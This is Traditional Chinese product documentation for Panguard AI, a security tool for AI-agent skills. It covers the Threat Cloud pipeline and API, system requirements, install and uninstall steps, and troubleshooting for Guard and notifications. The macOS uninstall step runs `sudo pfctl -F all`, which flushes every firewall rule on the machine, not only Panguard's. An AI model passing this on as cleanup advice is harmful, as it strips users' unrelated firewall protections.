Pattern hash（`scan:{skillName}:{findingSummary}`，SHA-256 截斷到 16 hex 字元）確保 CLI、網站、Guard 對同一個威脅 pattern 都產生一樣的識別碼。

<CardGroup>
  <Card title="快速入門" icon="rocket" href="/quickstart">
    安裝 Panguard 並跑你的第一次 Skill 審計。
  </Card>

  <Card title="掃描總覽" icon="magnifying-glass" href="/products/scan/overview">
    深入了解所有掃描功能。
  </Card>

  <Card title="風險計分" icon="chart-bar" href="/products/scan/risk-scoring">
    了解風險分數怎麼算的。
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/products/threat-cloud/overview">
    審計結果如何餵進集體防禦。
  </Card>
</CardGroup>

<Card title="CLI 參考" icon="terminal" href="/cli/scan">
  完整的 `panguard audit skill` 指令參考。
</Card>


# Threat Cloud
Source: https://docs.panguard.ai/zh-Hant/threat-cloud

AI agent 安全的集體威脅情報。社群驅動的規則、匿名分享、即時更新。

Threat Cloud 是 Panguard 的集體防禦網路。每個被擋下的威脅變成新規則。每條規則匿名分享。每個使用者都在強化整個網路。

## 架構

```
Skill Audit --> Threat Report --> Community Vote --> LLM Review --> ATR Rule --> Guard Sync
```

## 核心功能

<CardGroup>
  <Card title="匿名分享" icon="user-secret">
    只分享 SHA-256 hash 和風險分數。skill 內容和使用者資料不會離開你的機器。
  </Card>

  <Card title="社群投票" icon="thumbs-up">
    使用者透過回饋確認或否決威脅報告，建立共識。
  </Card>

  <Card title="LLM 審查" icon="brain">
    Claude Sonnet 在規則升格前審查準確性。
  </Card>

  <Card title="即時更新" icon="rss">
    IP 黑名單、domain 黑名單、ATR 規則持續更新。
  </Card>
</CardGroup>

## API Endpoint

| Endpoint                      | Method | 說明              |
| ----------------------------- | ------ | --------------- |
| `/api/stats`                  | GET    | 威脅情報統計          |
| `/api/rules`                  | GET    | 瀏覽所有社群規則        |
| `/api/atr-rules`              | GET    | 取得已確認的 ATR 規則   |
| `/api/skill-threats`          | POST   | 提交 skill 稽核結果   |
| `/api/feeds/ip-blocklist`     | GET    | IP 黑名單 feed     |
| `/api/feeds/domain-blocklist` | GET    | Domain 黑名單 feed |

<Card title="部署指南" icon="server" href="/products/threat-cloud/deployment">
  部署你自己的 Threat Cloud 實例。
</Card>

<Card title="隱私" icon="lock" href="/products/threat-cloud/privacy">
  我們如何保護你的資料。
</Card>


# 常見問題
Source: https://docs.panguard.ai/zh-Hant/troubleshooting/common-issues

系統需求、支援平台、更新跟解除安裝 Panguard AI。

## 支援的作業系統

| OS            | 最低版本             | 架構                        | 備註            |
| ------------- | ---------------- | ------------------------- | ------------- |
| macOS         | 12 (Monterey)+   | x64、ARM64 (Apple Silicon) | 完整支援含 Guard   |
| Ubuntu        | 20.04 LTS+       | x64、ARM64                 | 推薦的 Linux 發行版 |
| Debian        | 11 (Bullseye)+   | x64、ARM64                 | 完整支援          |
| CentOS / RHEL | 8+               | x64                       | SELinux 相容    |
| Windows       | 10 (build 1903)+ | x64                       | Guard 需要管理員權限 |

## 系統需求

<AccordionGroup>
  <Accordion title="Node.js">
    需要 **Node.js >= 20**。Panguard 用了 top-level await、native fetch 這些現代 JavaScript 功能，要 Node.js 20 以上才跑得動。

    看你裝的版本：

    ```bash theme={null}
    node --version
    ```

    用 [nvm](https://github.com/nvm-sh/nvm) 裝或升級：

    ```bash theme={null}
    nvm install 20
    nvm use 20
    ```

    或用套件管理器：

    ```bash theme={null}
    # macOS
    brew install node@20

    # Ubuntu/Debian
    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
    sudo apt-get install -y nodejs

    # Windows (winget)
    winget install OpenJS.NodeJS.LTS
    ```
  </Accordion>

  <Accordion title="Root / 管理員權限">
    不同模組的權限需求不同：

    | 模組                | 要 Root/Admin | 原因              |
    | ----------------- | ------------ | --------------- |
    | `panguard scan`   | 不用           | 用使用者權限讀檔案       |
    | `panguard guard`  | **要**        | 要讀系統 log、管防火牆規則 |
    | `panguard report` | 不用           | 從已有資料產生報告       |

    需要提權的模組用 `sudo` 跑：

    ```bash theme={null}
    sudo panguard guard start
    ```
  </Accordion>

  <Accordion title="磁碟空間">
    | 元件                   | 大概大小                  |
    | -------------------- | --------------------- |
    | Panguard CLI + 核心    | 約 50 MB               |
    | ATR 規則（768 條）        | 約 10 MB               |
    | Threat Cloud 資料庫（自架） | 100 MB -- 10 GB（看資料量） |
    | Guard log + 資料       | 會一直長，建議至少 1 GB        |
  </Accordion>

  <Accordion title="網路">
    Panguard 需要對外 HTTPS 連線：

    | 目的地                  | 用途                   |
    | -------------------- | -------------------- |
    | `tc.panguard.ai`     | Threat Cloud 情報 feed |
    | `registry.npmjs.org` | 套件安裝跟更新              |
    | `api.anthropic.com`  | AI 分析（如果用 Anthropic） |
    | `api.openai.com`     | AI 分析（如果用 OpenAI）    |
    | `localhost:11434`    | Ollama 本機 AI（如果有設定）  |

    所有連線都可以透過 `HTTPS_PROXY` 環境變數走 HTTP proxy。
  </Accordion>
</AccordionGroup>

## 怎麼更新

把 Panguard 更新到最新版：

<CodeGroup>
  ```bash npm（全域安裝） theme={null}
  npm update -g panguard
  ```

  ```bash npx（免安裝） theme={null}
  npx panguard@latest doctor
  ```

  ```bash 確認版本 theme={null}
  panguard --version
  ```
</CodeGroup>

更新後記得重啟跑著的服務：

```bash theme={null}
# 重啟 Guard
sudo panguard guard stop
sudo panguard guard start
```

<Info>Panguard 會自動檢查更新，有新版時在 CLI 顯示提醒。ATR 偵測規則獨立於 CLI 更新。</Info>

## 怎麼解除安裝

要從系統徹底移除 Panguard：

<Tabs>
  <Tab title="macOS / Linux">
    ```bash theme={null}
    # 1. 停掉所有服務
    sudo panguard guard stop

    # 2. 移除系統服務（如果有裝）
    sudo panguard guard uninstall-service

    # 3. 移除 npm 套件
    npm uninstall -g panguard

    # 4. 刪掉資料目錄
    rm -rf ~/.panguard
    rm -rf ~/.panguard-guard

    # 5. 刪掉憑證
    rm -f ~/.panguard/credentials.json

    # 6. 移除 Guard 加的防火牆規則
    # macOS:
    sudo pfctl -F all
    # Linux:
    sudo iptables -F PANGUARD 2>/dev/null
    sudo iptables -X PANGUARD 2>/dev/null
    ```
  </Tab>

  <Tab title="Windows">
    ```powershell theme={null}
    # 1. 停掉所有服務
    panguard guard stop

    # 2. 移除 Windows 服務（如果有裝）
    panguard guard uninstall-service

    # 3. 移除 npm 套件
    npm uninstall -g panguard

    # 4. 刪掉資料目錄
    Remove-Item -Recurse -Force "$HOME\.panguard"
    Remove-Item -Recurse -Force "$HOME\.panguard-guard"

    # 5. 移除防火牆規則
    Remove-NetFirewallRule -DisplayName "Panguard*"
    ```
  </Tab>
</Tabs>

<Warning>
  解除安裝會刪掉所有本機資料，包含掃描歷史、威脅 log 跟 config。需要歷史紀錄的話，先跑 `panguard
      report generate` 匯出。
</Warning>

## 常見錯誤訊息

<AccordionGroup>
  <Accordion title="Error: Node.js version 20 or later is required">
    你的 Node.js 版本太舊。升級到 Node.js 20+： `bash nvm install 20 && nvm use 20 `
  </Accordion>

  <Accordion title="Error: EACCES permission denied">
    你跑需要提權的模組但沒用 root： `bash sudo panguard guard start ` 不想用 root
    的話，看[系統服務指南](/guides/system-service)。
  </Accordion>

  <Accordion title="Error: Cannot find module 'panguard'">
    Panguard 沒裝成全域，或你的 PATH 沒包含 npm global bin 目錄： `bash npm install -g panguard #
            或檢查 PATH： npm config get prefix `
  </Accordion>

  <Accordion title="Error: ECONNREFUSED">
    目標服務沒跑或連不到。檢查： - 服務有啟動嗎？（`panguard status`） - Port 對嗎？（看環境變數） -
    防火牆有沒有擋？
  </Accordion>
</AccordionGroup>


# Guard 問題
Source: https://docs.panguard.ai/zh-Hant/troubleshooting/guard-issues

排解 Panguard Guard 啟動、效能跟偵測的問題。

## Guard 已經在跑了

```
Error: Panguard Guard is already running (PID: 12345)
```

另一個 Guard 實例已經在跑。先停掉：

```bash theme={null}
# 停掉正在跑的
sudo panguard guard stop

# stop 失敗的話，手動殺
cat ~/.panguard-guard/guard.pid
sudo kill $(cat ~/.panguard-guard/guard.pid)
rm ~/.panguard-guard/guard.pid

# 重新啟動
sudo panguard guard start
```

<Warning>
  同一台機器不要跑多個 Guard 實例。它們會在 log 檔存取、防火牆規則、監控資源上打架。
</Warning>

如果 PID 檔指向一個已經不存在的 process（過期 PID）：

```bash theme={null}
# 確認 process 真的不在了
ps -p $(cat ~/.panguard-guard/guard.pid)

# 如果顯示 "no such process"，放心刪 PID 檔
rm ~/.panguard-guard/guard.pid
sudo panguard guard start
```

***

## 權限不夠

```
Error: EACCES: permission denied, open '/var/log/auth.log'
```

Guard 需要 root/admin 權限讀系統 log 跟管防火牆規則。

<Tabs>
  <Tab title="用 sudo 跑">
    ```bash theme={null}
    sudo panguard guard start
    ```
  </Tab>

  <Tab title="裝成系統服務">
    裝成帶適當權限的 systemd 服務：

    ```bash theme={null}
    sudo panguard guard install-service
    sudo systemctl start panguard-guard
    sudo systemctl enable panguard-guard
    ```

    看服務狀態：

    ```bash theme={null}
    sudo systemctl status panguard-guard
    ```
  </Tab>

  <Tab title="macOS launchd">
    ```bash theme={null}
    sudo panguard guard install-service
    sudo launchctl load /Library/LaunchDaemons/com.panguard.guard.plist
    ```
  </Tab>
</Tabs>

***

## 記憶體吃太多

Guard 記憶體用量超出預期的話：

<AccordionGroup>
  <Accordion title="看目前用量">
    ```bash theme={null}
    panguard status --verbose
    ```

    正常範圍：

    | 元件                | 一般記憶體用量         |
    | ----------------- | --------------- |
    | 核心 agent          | 50--100 MB      |
    | ATR 規則引擎（768 條規則） | 約 30 MB         |
    | AI 分析（本機）         | 100--500 MB     |
    | **合計**            | **170--620 MB** |
  </Accordion>

  <Accordion title="降低記憶體用量">
    1. **關掉用不到的監控** -- 把不需要的子系統監控關掉：
       ```bash theme={null}
       panguard config set monitoring.dockerEvents false
       panguard config set monitoring.kernelModules false
       ```

    2. **減少規則數** -- 停用不需要的規則類別：
       ```bash theme={null}
       panguard config set rules.excludeCategories '["informational", "test"]'
       ```

    3. **用雲端 AI 取代本機** -- 從 Ollama 切到雲端 AI provider，省掉本機模型佔的記憶體：
       ```bash theme={null}
       export ANTHROPIC_API_KEY=sk-ant-...
       # 有跑 Ollama 的話可以停掉
       ```

    4. **調 GC 設定** -- Node.js 記憶體最佳化：
       ```bash theme={null}
       export NODE_OPTIONS="--max-old-space-size=512"
       ```
  </Accordion>
</AccordionGroup>

***

## 誤報太多

Guard 對正常活動發了一堆警示的話：

<AccordionGroup>
  <Accordion title="延長學習期">
    預設學習期 7 天。如果你的工作負載比較複雜，拉長一點：

    ```bash theme={null}
    panguard config set learningDays 14
    ```

    重設學習資料重來：

    ```bash theme={null}
    sudo panguard guard stop
    panguard config set mode learning
    sudo panguard guard start
    ```
  </Accordion>

  <Accordion title="調偵測閾值">
    拉高特定威脅類型的門檻：

    ```bash theme={null}
    # 暴力破解要更多事件才觸發
    panguard config set response.minConfidence 0.90

    # 拉高 SSH 失敗閾值
    panguard config set rules.sshFailureThreshold 20
    ```
  </Accordion>

  <Accordion title="把已知安全的 IP 跟 process 加白名單">
    把信任的 IP 跟 process 加白名單：

    ```bash theme={null}
    # IP 白名單
    panguard config set response.whitelistedIps '["10.0.0.0/8", "192.168.1.100"]'

    # Process 白名單
    panguard config set response.whitelistedProcesses '["backup-agent", "monitoring-daemon"]'
    ```
  </Accordion>

  <Accordion title="關掉吵的規則">
    找出造成誤報的規則，關掉它：

    ```bash theme={null}
    # 看最近的低嚴重性警示跟規則 ID
    panguard guard logs --severity low --limit 20

    # 停用特定規則
    panguard config set rules.excludeIds '["ATR-2025-0099"]'
    ```
  </Accordion>
</AccordionGroup>

***

## 自動回應沒動作

Guard 偵測到威脅但沒自動處理的話：

<AccordionGroup>
  <Accordion title="看信心閾值">
    自動回應只在 AI 信心分數超過 `minConfidence` 時才觸發：

    ```bash theme={null}
    # 看目前閾值
    panguard config get response.minConfidence
    ```

    偵測到的都低於閾值的話，小心地降一點：

    ```bash theme={null}
    panguard config set response.minConfidence 0.80
    ```

    <Warning>
      `minConfidence` 設到 0.7 以下會大幅增加誤報風險（封到正常 IP 或殺到正常 process）。
    </Warning>
  </Accordion>

  <Accordion title="確認回應有開">
    ```bash theme={null}
    panguard config get response.enabled
    panguard config get response.autoBlock
    ```

    沒開的話打開：

    ```bash theme={null}
    panguard config set response.enabled true
    panguard config set response.autoBlock true
    ```
  </Accordion>

  <Accordion title="看運作模式">
    `learning` 跟 `detect` 模式不會執行自動回應：

    ```bash theme={null}
    panguard config get mode
    ```

    切到 `protect` 模式：

    ```bash theme={null}
    panguard config set mode protect
    sudo panguard guard restart
    ```
  </Accordion>

  <Accordion title="看有沒有開核准要求">
    如果 `requireApproval` 是開的，Guard 會發核准請求而不是直接動手：

    ```bash theme={null}
    panguard config get response.requireApproval
    # 是 true 的話看待處理的核准：
    panguard guard approvals
    ```
  </Accordion>
</AccordionGroup>

***

## Guard 啟動就掛

<AccordionGroup>
  <Accordion title="看 log">
    ```bash theme={null}
    cat ~/.panguard-guard/logs/guard.log | tail -50
    ```

    或用 CLI：

    ```bash theme={null}
    panguard guard logs --limit 50
    ```
  </Accordion>

  <Accordion title="跑診斷">
    ```bash theme={null}
    panguard doctor
    ```

    會檢查 Node.js 版本、權限、磁碟空間、port 可用性、config 格式。
  </Accordion>

  <Accordion title="重設 config">
    config 檔壞掉的話：

    ```bash theme={null}
    # 先備份
    cp ~/.panguard-guard/config.json ~/.panguard-guard/config.json.bak

    # 刪掉重來
    rm ~/.panguard-guard/config.json
    sudo panguard guard start
    ```
  </Accordion>
</AccordionGroup>


# 通知問題
Source: https://docs.panguard.ai/zh-Hant/troubleshooting/notification-issues

排解 Telegram、Slack、Email、Webhook 通知送不到的問題。

## 收不到通知

不管哪個頻道都收不到的話，從這些基本項目開始檢查：

<AccordionGroup>
  <Accordion title="1. 看通知狀態">
    ```bash theme={null}
    panguard chat status
    ```

    會顯示：

    * 哪些頻道有開
    * 上次成功送達時間
    * 有沒有 pending 的錯誤
    * 目前的最低嚴重性設定
  </Accordion>

  <Accordion title="2. 送測試通知">
    ```bash theme={null}
    # 測試所有開啟的頻道
    panguard chat test

    # 測試特定頻道
    panguard chat test --channel telegram
    ```

    測試成功但真正的通知沒到，問題可能出在嚴重性門檻或冷卻時間。
  </Accordion>

  <Accordion title="3. 看嚴重性門檻">
    通知只在事件嚴重性達到或超過設定值時才送：

    ```bash theme={null}
    panguard config get notification.minSeverity
    ```

    設成 `critical` 的話就只有 critical 事件才會通知。調低一點：

    ```bash theme={null}
    panguard config set notification.minSeverity medium
    ```
  </Accordion>

  <Accordion title="4. 看冷卻時間">
    冷卻機制防止重複通知洗版。短時間內很多類似事件的話，只有第一個會觸發：

    ```bash theme={null}
    panguard config get notification.cooldownMinutes
    ```

    覺得太久可以縮短：

    ```bash theme={null}
    panguard config set notification.cooldownMinutes 5
    ```
  </Accordion>

  <Accordion title="5. 重跑頻道設定">
    以上都沒用的話，重跑一次設定：

    ```bash theme={null}
    panguard chat setup telegram
    # 或
    panguard chat setup slack
    ```

    會重新驗證憑證跟重新加密 config。
  </Accordion>
</AccordionGroup>

***

## Telegram 問題

<AccordionGroup>
  <Accordion title="Bot token 無效">
    ```
    Error: Telegram API returned 401: Unauthorized
    ```

    Bot token 不對或被撤銷了。

    **解法：**

    1. 到 Telegram 找 [@BotFather](https://t.me/BotFather)
    2. 送 `/mybots` 選你的 bot
    3. 需要的話重新產生 token
    4. 重跑設定：
       ```bash theme={null}
       panguard chat setup telegram
       ```
  </Accordion>

  <Accordion title="Chat ID 不對">
    ```
    Error: Telegram API returned 400: Bad Request: chat not found
    ```

    Chat ID 錯了或 bot 還沒加進群組。

    **解法：**

    1. 先隨便傳一則訊息給你的 bot（Telegram 規定的）
    2. 群組的話，把 bot 加進去
    3. 重跑設定讓它自動抓 chat ID：
       ```bash theme={null}
       panguard chat setup telegram
       ```
  </Accordion>

  <Accordion title="要先傳訊息給 bot">
    Telegram bot 不能主動發起對話。你必須先傳訊息給 bot，它才能傳訊息給你。

    1. 開 Telegram 用 username 找到你的 bot
    2. 傳 `/start` 或隨便一則訊息
    3. 然後跑：
       ```bash theme={null}
       panguard chat test --channel telegram
       ```
  </Accordion>

  <Accordion title="群組權限">
    Bot 沒辦法在群組發訊息的話：

    1. 確認 bot 是群組成員
    2. 群組有限制發言的話，把 bot 設成管理員
    3. 在 BotFather 確認 **Group Privacy** 是關的（`/mybots` > Bot Settings > Group Privacy > Turn off）
  </Accordion>
</AccordionGroup>

***

## Slack 問題

<AccordionGroup>
  <Accordion title="Webhook URL 無效">
    ```
    Error: Slack webhook returned 403: invalid_token
    ```

    Webhook URL 不對、過期或被撤銷了。

    **解法：**

    1. 到 [api.slack.com/apps](https://api.slack.com/apps)
    2. 選你的 app
    3. 到 **Incoming Webhooks**
    4. 建新的 webhook 或複製現有的 URL
    5. 重跑設定：
       ```bash theme={null}
       panguard chat setup slack
       ```
  </Accordion>

  <Accordion title="找不到頻道">
    ```
    Error: Slack webhook returned 404: channel_not_found
    ```

    設定的頻道不存在或 webhook 沒被授權使用它。

    **解法：**

    * 確認頻道名稱對不對（要帶 `#`）
    * 針對目標頻道建一個新 webhook
    * 重跑設定：
      ```bash theme={null}
      panguard chat setup slack
      ```
  </Accordion>

  <Accordion title="App 權限">
    如果用 Slack App（不只是 incoming webhook），確認 app 有這些 scope：

    * `incoming-webhook` -- 透過 webhook 發訊息
    * `chat:write` -- 發訊息（用 Bot Token 的話）
    * `chat:write.public` -- 發到 bot 不在的頻道

    改了 scope 之後重新安裝 app 到 workspace。
  </Accordion>
</AccordionGroup>

***

## Email 問題

<AccordionGroup>
  <Accordion title="SMTP 連線被拒">
    ```
    Error: connect ECONNREFUSED smtp.gmail.com:587
    ```

    * 確認 SMTP host 跟 port 對不對
    * 看防火牆或 ISP 有沒有擋 port 587
    * 587（TLS）被擋的話試 465（SSL）：
      ```bash theme={null}
      panguard config set channels.email.smtp.port 465
      ```
  </Accordion>

  <Accordion title="SMTP 認證失敗">
    ```
    Error: Invalid login: 535-5.7.8 Username and Password not accepted
    ```

    **Gmail 的話：**

    * 用[應用程式密碼](https://support.google.com/accounts/answer/185833)，不要用帳號密碼
    * 先在 Google 帳號開兩步驟驗證
    * 到 [myaccount.google.com/apppasswords](https://myaccount.google.com/apppasswords) 產生應用程式密碼

    **其他 provider：**

    * 確認帳號對不對（通常是完整的 email 地址）
    * 看 provider 是不是要用 app 專用密碼
    * 重跑設定：
      ```bash theme={null}
      panguard chat setup email
      ```
  </Accordion>

  <Accordion title="Email 進垃圾郵件">
    * 把 `alerts@panguard.ai`（或你設定的 `from` 地址）加到聯絡人
    * 自架的話幫發送 domain 設好 SPF、DKIM、DMARC 紀錄
    * 用信譽好的 SMTP provider（SendGrid、AWS SES、Mailgun）
  </Accordion>
</AccordionGroup>

***

## Webhook 問題

<AccordionGroup>
  <Accordion title="連線 timeout">
    ```
    Error: Webhook request timed out after 10000ms
    ```

    Webhook endpoint 在 timeout 時間內沒回應。

    * 確認 URL 對不對、伺服器連不連得到
    * 拉長 timeout：
      ```bash theme={null}
      panguard config set channels.webhook.timeout 30000
      ```
    * 直接測 endpoint：
      ```bash theme={null}
      curl -X POST YOUR_WEBHOOK_URL \
        -H "Content-Type: application/json" \
        -d '{"test": true}'
      ```
  </Accordion>

  <Accordion title="SSL 憑證錯誤">
    ```
    Error: unable to verify the first certificate
    ```

    Webhook endpoint 用了自簽或無效的 SSL 憑證。

    * 用有效的 SSL 憑證（Let's Encrypt 免費）
    * 內部 endpoint 的話設 CA 憑證：
      ```bash theme={null}
      export NODE_EXTRA_CA_CERTS=/path/to/ca-cert.pem
      ```
  </Accordion>
</AccordionGroup>

***

## 通知語言不對

通知送來的語言不對的話：

```bash theme={null}
# 看目前語言設定
panguard config get preferences.language

# 改語言
panguard chat setup --lang zh-TW
```

或重跑完整設定重新選語言：

```bash theme={null}
panguard chat setup
```

支援的語言：

| 代碼      | 語言      |
| ------- | ------- |
| `en`    | English |
| `zh-TW` | 繁體中文    |
| `ja`    | 日本語     |

<Info>
  通知語言跟 CLI 語言（`PANGUARD_LANG`）是分開的。CLI
  語言管終端輸出，通知語言管透過通知頻道送出去的訊息內容。
</Info>